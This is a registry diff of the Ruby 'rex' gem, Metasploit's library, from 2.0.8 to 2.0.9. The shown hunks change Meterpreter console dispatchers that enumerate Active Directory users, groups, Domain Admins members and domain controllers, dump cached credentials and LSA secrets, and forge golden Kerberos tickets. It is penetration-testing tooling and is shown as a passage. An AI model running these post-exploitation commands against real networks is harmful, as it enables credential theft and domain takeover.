rex 2.0.8 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -26,9 +26,12 @@ class Console::CommandDispatcher::Extapi::Adsi
26
26
  #
27
27
  def commands
28
28
  {
29
- "adsi_user_enum" => "Enumerate all users on the specified domain.",
30
- "adsi_computer_enum" => "Enumerate all computers on the specified domain.",
31
- "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter."
29
+ 'adsi_user_enum' => 'Enumerate all users on the specified domain.',
30
+ 'adsi_group_enum' => 'Enumerate all groups on the specified domain.',
31
+ 'adsi_nested_group_user_enum' => 'Recursively enumerate users who are effectively members of the group specified.',
32
+ 'adsi_computer_enum' => 'Enumerate all computers on the specified domain.',
33
+ 'adsi_dc_enum' => 'Enumerate all domain controllers on the specified domain.',
34
+ 'adsi_domain_query' => 'Enumerate all objects on the specified domain that match a filter.'
32
35
  }
33
36
  end
34
37
 
@@ -36,46 +39,127 @@ class Console::CommandDispatcher::Extapi::Adsi
36
39
  # Name for this dispatcher
37
40
  #
38
41
  def name
39
- "Extapi: ADSI Management"
42
+ 'Extapi: ADSI Management'
43
+ end
44
+
45
+ #
46
+ # Options for the adsi_nested_group_user_enum command.
47
+ #
48
+ @@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new(
49
+ '-h' => [false, 'Help banner'],
50
+ '-o' => [true, 'Path to output file.'],
51
+ '-m' => [true, 'Maximum results to return.'],
52
+ '-p' => [true, 'Result set page size.']
53
+ )
54
+
55
+ def adsi_nested_group_user_enum_usage
56
+ print_line('USAGE:')
57
+ print_line(' adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize] [-o file]')
58
+ print_line
59
+ print_line('DESCRIPTION:')
60
+ print_line(' Enumerate the users who are members of the named group, taking nested groups into account.')
61
+ print_line(' For example, specifying the "Domain Admins" group DN will list all users who are effectively')
62
+ print_line(' members of the Domain Admins group, even if they are in practice members of intermediary groups.')
63
+ print_line
64
+ print_line('EXAMPLE:')
65
+ print_line(' The example below will list all members of the "Domain Admins" group on the STUFUS domain:')
66
+ print_line(' adsi_nested_group_user_enum STUFUS "CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com"')
67
+ print_line(@@adsi_nested_group_user_enum_opts.usage)
68
+ end
69
+
70
+ #
71
+ # Enumerate domain groups.
72
+ #
73
+ def cmd_adsi_nested_group_user_enum(*args)
74
+ args.unshift('-h') if args.length == 0
75
+ if args.include?('-h') || args.length < 2
76
+ adsi_nested_group_user_enum_usage
77
+ return true
78
+ end
79
+
80
+ domain = args.shift
81
+ groupdn = args.shift
82
+ # This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent
83
+ # https://support.microsoft.com/en-us/kb/275523 for more information -stufus
84
+ filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))"
85
+ fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
86
+ args = [domain, filter] + fields + args
87
+ return cmd_adsi_domain_query(*args)
40
88
  end
41
89
 
42
90
  #
43
91
  # Options for the adsi_user_enum command.
44
92
  #
45
93
  @@adsi_user_enum_opts = Rex::Parser::Arguments.new(
46
- "-h" => [ false, "Help banner" ],
47
- "-m" => [ true, "Maximum results to return." ],
48
- "-p" => [ true, "Result set page size." ]
94
+ '-h' => [false, 'Help banner.'],
95
+ '-o' => [true, 'Path to output file.'],
96
+ '-m' => [true, 'Maximum results to return.'],
97
+ '-p' => [true, 'Result set page size.']
49
98
  )
50
99
 
51
100
  def adsi_user_enum_usage
52
- print(
53
- "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
54
- "Enumerate the users on the target domain.\n\n" +
55
- "Enumeration returns information such as the user name, SAM account name, locked\n" +
56
- "status, desc, and comment.\n" +
57
- @@adsi_user_enum_opts.usage)
101
+ print_line('USAGE:')
102
+ print_line(' adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
103
+ print_line
104
+ print_line('DESCRIPTION:')
105
+ print_line(' Enumerate all users on the target domain.')
106
+ print_line(' Enumeration returns information such as the user name, SAM account name, status, comments etc')
107
+ print_line(@@adsi_user_enum_opts.usage)
58
108
  end
59
109
 
60
110
  #
61
111
  # Enumerate domain users.
62
112
  #
63
113
  def cmd_adsi_user_enum(*args)
64
- args.unshift("-h") if args.length == 0
65
- if args.include?("-h")
114
+ args.unshift('-h') if args.length == 0
115
+ if args.include?('-h')
66
116
  adsi_user_enum_usage
67
117
  return true
68
118
  end
69
119
 
70
120
  domain = args.shift
71
- filter = "(objectClass=user)"
72
- fields = [
73
- "samaccountname",
74
- "name",
75
- "distinguishedname",
76
- "description",
77
- "comment"
78
- ]
121
+ filter = '(objectClass=user)'
122
+ fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
123
+ args = [domain, filter] + fields + args
124
+ return cmd_adsi_domain_query(*args)
125
+ end
126
+
127
+ #
128
+ # Options for the adsi_group_enum command.
129
+ #
130
+ @@adsi_group_enum_opts = Rex::Parser::Arguments.new(
131
+ '-h' => [false, 'Help banner.'],
132
+ '-o' => [true, 'Path to output file.'],
133
+ '-m' => [true, 'Maximum results to return.'],
134
+ '-p' => [true, 'Result set page size.']
135
+ )
136
+
137
+ def adsi_group_enum_usage
138
+ print_line('USAGE:')
139
+ print_line(' adsi_nested_group_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
140
+ print_line
141
+ print_line('DESCRIPTION:')
142
+ print_line(' Enumerate all groups on the target domain.')
143
+ print_line
144
+ print_line('EXAMPLE:')
145
+ print_line(' The example below will list all groups on the STUFUS domain.')
146
+ print_line(' adsi_group_enum STUFUS')
147
+ print_line(@@adsi_group_enum_opts.usage)
148
+ end
149
+
150
+ #
151
+ # Enumerate domain groups.
152
+ #
153
+ def cmd_adsi_group_enum(*args)
154
+ args.unshift('-h') if args.length == 0
155
+ if args.include?('-h')
156
+ adsi_group_enum_usage
157
+ return true
158
+ end
159
+
160
+ domain = args.shift
161
+ filter = '(objectClass=group)'
162
+ fields = ['name', 'distinguishedname', 'description',]
79
163
  args = [domain, filter] + fields + args
80
164
  return cmd_adsi_domain_query(*args)
81
165
  end
@@ -84,37 +168,74 @@ class Console::CommandDispatcher::Extapi::Adsi
84
168
  # Options for the adsi_computer_enum command.
85
169
  #
86
170
  @@adsi_computer_enum_opts = Rex::Parser::Arguments.new(
87
- "-h" => [ false, "Help banner" ],
88
- "-m" => [ true, "Maximum results to return." ],
89
- "-p" => [ true, "Result set page size." ]
171
+ '-h' => [false, 'Help banner.'],
172
+ '-o' => [true, 'Path to output file.'],
173
+ '-m' => [true, 'Maximum results to return.'],
174
+ '-p' => [true, 'Result set page size.']
90
175
  )
91
176
 
92
177
  def adsi_computer_enum_usage
93
- print(
94
- "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
95
- "Enumerate the computers on the target domain.\n\n" +
96
- "Enumeration returns information such as the computer name, desc, and comment.\n" +
97
- @@adsi_computer_enum_opts.usage)
178
+ print_line('USAGE:')
179
+ print_line(' adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
180
+ print_line
181
+ print_line('DESCRIPTION:')
182
+ print_line(' Enumerate all computers on the target domain.')
183
+ print_line(@@adsi_computer_enum_opts.usage)
98
184
  end
99
185
 
100
186
  #
101
187
  # Enumerate domain computers.
102
188
  #
103
189
  def cmd_adsi_computer_enum(*args)
104
- args.unshift("-h") if args.length == 0
105
- if args.include?("-h")
190
+ args.unshift('-h') if args.length == 0
191
+ if args.include?('-h')
106
192
  adsi_computer_enum_usage
107
193
  return true
108
194
  end
109
195
 
110
196
  domain = args.shift
111
- filter = "(objectClass=computer)"
112
- fields = [
113
- "name",
114
- "distinguishedname",
115
- "description",
116
- "comment"
117
- ]
197
+ filter = '(objectClass=computer)'
198
+ fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
199
+ 'operatingsystemversion', 'operatingsystemservicepack', 'description',
200
+ 'comment' ]
201
+ args = [domain, filter] + fields + args
202
+ return cmd_adsi_domain_query(*args)
203
+ end
204
+
205
+ #
206
+ # Options for the adsi_dc_enum command.
207
+ #
208
+ @@adsi_dc_enum_opts = Rex::Parser::Arguments.new(
209
+ '-h' => [false, 'Help banner.'],
210
+ '-o' => [true, 'Path to output file.'],
211
+ '-m' => [true, 'Maximum results to return.'],
212
+ '-p' => [true, 'Result set page size.']
213
+ )
214
+
215
+ def adsi_dc_enum_usage
216
+ print_line('USAGE:')
217
+ print_line(' adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
218
+ print_line
219
+ print_line('DESCRIPTION:')
220
+ print_line(' Enumerate the domain controllers on the target domain.')
221
+ print_line(@@adsi_dc_enum_opts.usage)
222
+ end
223
+
224
+ #
225
+ # Enumerate domain dcs.
226
+ #
227
+ def cmd_adsi_dc_enum(*args)
228
+ args.unshift('-h') if args.length == 0
229
+ if args.include?('-h')
230
+ adsi_dc_enum_usage
231
+ return true
232
+ end
233
+
234
+ domain = args.shift
235
+ # This LDAP filter will pull out domain controllers
236
+ filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
237
+ fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
238
+ 'operatingsystemversion', 'operatingsystemservicepack', 'description', 'comment' ]
118
239
  args = [domain, filter] + fields + args
119
240
  return cmd_adsi_domain_query(*args)
120
241
  end
@@ -123,17 +244,19 @@ class Console::CommandDispatcher::Extapi::Adsi
123
244
  # Options for the adsi_domain_query command.
124
245
  #
125
246
  @@adsi_domain_query_opts = Rex::Parser::Arguments.new(
126
- "-h" => [ false, "Help banner" ],
127
- "-m" => [ true, "Maximum results to return." ],
128
- "-p" => [ true, "Result set page size." ]
247
+ '-h' => [false, 'Help banner.'],
248
+ '-o' => [true, 'Path to output file.'],
249
+ '-m' => [true, 'Maximum results to return.'],
250
+ '-p' => [true, 'Result set page size.']
129
251
  )
130
252
 
131
253
  def adsi_domain_query_usage
132
- print(
133
- "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" +
134
- "Enumerate the objects on the target domain.\n\n" +
135
- "Enumeration returns the set of fields that are specified.\n" +
136
- @@adsi_domain_query_opts.usage)
254
+ print_line('USAGE:')
255
+ print_line(' adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize] [-o file]')
256
+ print_line
257
+ print_line('DESCRIPTION:')
258
+ print_line(' Enumerates the objects on the target domain, returning the set of fields that are specified.')
259
+ print_line(@@adsi_domain_query_opts.usage)
137
260
  end
138
261
 
139
262
  #
@@ -143,22 +266,25 @@ class Console::CommandDispatcher::Extapi::Adsi
143
266
  page_size = DEFAULT_PAGE_SIZE
144
267
  max_results = DEFAULT_MAX_RESULTS
145
268
 
146
- args.unshift("-h") if args.length < 3
269
+ args.unshift('-h') if args.length < 3
270
+ output_file = nil
147
271
 
148
272
  @@adsi_domain_query_opts.parse(args) { |opt, idx, val|
149
273
  case opt
150
- when "-p"
274
+ when '-p'
151
275
  page_size = val.to_i
152
- when "-m"
276
+ when '-o'
277
+ output_file = val
278
+ when '-m'
153
279
  max_results = val.to_i
154
- when "-h"
280
+ when '-h'
155
281
  adsi_domain_query_usage
156
282
  return true
157
283
  end
158
284
  }
159
285
 
160
286
  # Assume that the flags are passed in at the end. Safe?
161
- switch_index = args.index { |a| a.start_with?("-") }
287
+ switch_index = args.index { |a| a.start_with?('-') }
162
288
  if switch_index
163
289
  args = args.first(switch_index)
164
290
  end
@@ -181,11 +307,16 @@ class Console::CommandDispatcher::Extapi::Adsi
181
307
 
182
308
  print_line
183
309
  print_line(table.to_s)
184
-
185
310
  print_line("Total objects: #{objects[:results].length}")
186
-
187
311
  print_line
188
312
 
313
+ if output_file
314
+ ::File.open(output_file, 'w') do |f|
315
+ f.write("#{table.to_s}\n")
316
+ f.write("\nTotal objects: #{objects[:results].length}\n")
317
+ end
318
+ end
319
+
189
320
  return true
190
321
  end
191
322
 
@@ -210,7 +341,7 @@ protected
210
341
  # for UI level stuff, rendering raw as hex is really the only option
211
342
  values << Rex::Text.to_hex(v[:value], '')
212
343
  when :array
213
- val = "#{to_table_row(v[:value]).join(", ")}"
344
+ val = "#{to_table_row(v[:value]).join(', ')}"
214
345
 
215
346
  # we'll truncate the output of the array because it could be excessive if we
216
347
  # don't. Users who want the detail of this stuff should probably script it.
@@ -224,7 +355,7 @@ protected
224
355
  when :path
225
356
  values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}"
226
357
  when :unknown
227
- values << "(unknown)"
358
+ values << '(unknown)'
228
359
  end
229
360
  end
230
361
 
@@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi
26
26
  # Name for this dispatcher
27
27
  #
28
28
  def name
29
- "Kiwi"
29
+ 'Kiwi'
30
30
  end
31
31
 
32
32
  #
@@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi
46
46
  print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
47
47
  print_line
48
48
 
49
- if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
50
-
49
+ if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
51
50
  print_line
52
- print_warning "Loaded x86 Kiwi on an x64 architecture."
51
+ print_warning('Loaded x86 Kiwi on an x64 architecture.')
53
52
  end
54
53
  end
55
54
 
@@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi
58
57
  #
59
58
  def commands
60
59
  {
61
- "creds_wdigest" => "Retrieve WDigest creds",
62
- "creds_msv" => "Retrieve LM/NTLM creds (hashes)",
63
- "creds_livessp" => "Retrieve LiveSSP creds",
64
- "creds_ssp" => "Retrieve SSP creds",
65
- "creds_tspkg" => "Retrieve TsPkg creds",
66
- "creds_kerberos" => "Retrieve Kerberos creds",
67
- "creds_all" => "Retrieve all credentials",
68
- "golden_ticket_create" => "Create a golden kerberos ticket",
69
- "kerberos_ticket_use" => "Use a kerberos ticket",
70
- "kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
71
- "kerberos_ticket_list" => "List all kerberos tickets",
72
- "lsa_dump" => "Dump LSA secrets",
73
- "wifi_list" => "List wifi profiles/creds"
60
+ 'creds_wdigest' => 'Retrieve WDigest creds',
61
+ 'creds_msv' => 'Retrieve LM/NTLM creds (hashes)',
62
+ 'creds_livessp' => 'Retrieve LiveSSP creds',
63
+ 'creds_ssp' => 'Retrieve SSP creds',
64
+ 'creds_tspkg' => 'Retrieve TsPkg creds',
65
+ 'creds_kerberos' => 'Retrieve Kerberos creds',
66
+ 'creds_all' => 'Retrieve all credentials',
67
+ 'golden_ticket_create' => 'Create a golden kerberos ticket',
68
+ 'kerberos_ticket_use' => 'Use a kerberos ticket',
69
+ 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
70
+ 'kerberos_ticket_list' => 'List all kerberos tickets',
71
+ 'lsa_dump' => 'Dump LSA secrets',
72
+ 'wifi_list' => 'List wifi profiles/creds'
74
73
  }
75
74
  end
76
75
 
@@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi
80
79
  def cmd_lsa_dump(*args)
81
80
  check_privs
82
81
 
83
- print_status("Dumping LSA secrets")
82
+ print_status('Dumping LSA secrets')
84
83
  lsa = client.kiwi.lsa_dump
85
84
 
86
85
  # the format of this data doesn't really lend itself nicely to
@@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi
142
141
  # Valid options for the golden ticket creation functionality.
143
142
  #
144
143
  @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
145
- "-h" => [ false, "Help banner" ],
146
- "-u" => [ true, "Name of the user to create the ticket for" ],
147
- "-i" => [ true, "ID of the user to associate the ticket with" ],
148
- "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ],
149
- "-d" => [ true, "Name of the target domain (FQDN)" ],
150
- "-k" => [ true, "krbtgt domain user NTLM hash" ],
151
- "-t" => [ true, "Local path of the file to store the ticket in" ],
152
- "-s" => [ true, "SID of the domain" ]
144
+ '-h' => [ false, 'Help banner' ],
145
+ '-u' => [ true, 'Name of the user to create the ticket for' ],
146
+ '-i' => [ true, 'ID of the user to associate the ticket with' ],
147
+ '-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
148
+ '-d' => [ true, 'Name of the target domain (FQDN)' ],
149
+ '-k' => [ true, 'krbtgt domain user NTLM hash' ],
150
+ '-t' => [ true, 'Local path of the file to store the ticket in' ],
151
+ '-s' => [ true, 'SID of the domain' ]
153
152
  )
154
153
 
155
154
  #
156
155
  # Output the usage for the ticket listing functionality.
157
156
  #
158
157
  def golden_ticket_create_usage
159
- print(
160
- "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
161
- "Create a golden kerberos ticket that expires in 10 years time.\n\n" +
162
- @@golden_ticket_create_opts.usage)
158
+ print_line('Usage: golden_ticket_create [options]')
159
+ print_line
160
+ print_line('Create a golden kerberos ticket that expires in 10 years time.')
161
+ print_line(@@golden_ticket_create_opts.usage)
163
162
  end
164
163
 
165
164
  #
@@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi
181
180
 
182
181
  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
183
182
  case opt
184
- when "-u"
183
+ when '-u'
185
184
  user = val
186
- when "-d"
185
+ when '-d'
187
186
  domain = val
188
- when "-k"
187
+ when '-k'
189
188
  tgt = val
190
- when "-t"
189
+ when '-t'
191
190
  target = val
192
- when "-i"
191
+ when '-i'
193
192
  id = val.to_i
194
- when "-g"
193
+ when '-g'
195
194
  group_ids = val.split(',').map { |g| g.to_i }.to_a
196
- when "-s"
195
+ when '-s'
197
196
  sid = val
198
197
  end
199
198
  }
@@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi
207
206
  ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
208
207
 
209
208
  ::File.open( target, 'wb' ) do |f|
210
- f.write ticket
209
+ f.write(ticket)
211
210
  end
212
211
 
213
212
  print_good("Golden Kerberos ticket written to #{target}")
@@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi
217
216
  # Valid options for the ticket listing functionality.
218
217
  #
219
218
  @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
220
- "-h" => [ false, "Help banner" ],
221
- "-e" => [ false, "Export Kerberos tickets to disk" ],
222
- "-p" => [ true, "Path to export Kerberos tickets to" ]
219
+ '-h' => [ false, 'Help banner' ],
220
+ '-e' => [ false, 'Export Kerberos tickets to disk' ],
221
+ '-p' => [ true, 'Path to export Kerberos tickets to' ]
223
222
  )
224
223
 
225
224
  #
226
225
  # Output the usage for the ticket listing functionality.
227
226
  #
228
227
  def kerberos_ticket_list_usage
229
- print(
230
- "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
231
- "List all the available Kerberos tickets.\n\n" +
232
- @@kerberos_ticket_list_opts.usage)
228
+ print_line('Usage: kerberos_ticket_list [options]')
229
+ print_line
230
+ print_line('List all the available Kerberos tickets.')
231
+ print_line(@@kerberos_ticket_list_opts.usage)
233
232
  end
234
233
 
235
234
  #
236
235
  # Invoke the kerberos ticket listing functionality on the target machine.
237
236
  #
238
237
  def cmd_kerberos_ticket_list(*args)
239
- if args.include?("-h")
238
+ if args.include?('-h')
240
239
  kerberos_ticket_list_usage
241
240
  return
242
241
  end
@@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi
244
243
  # default to not exporting
245
244
  export = false
246
245
  # default to the current folder for dumping tickets
247
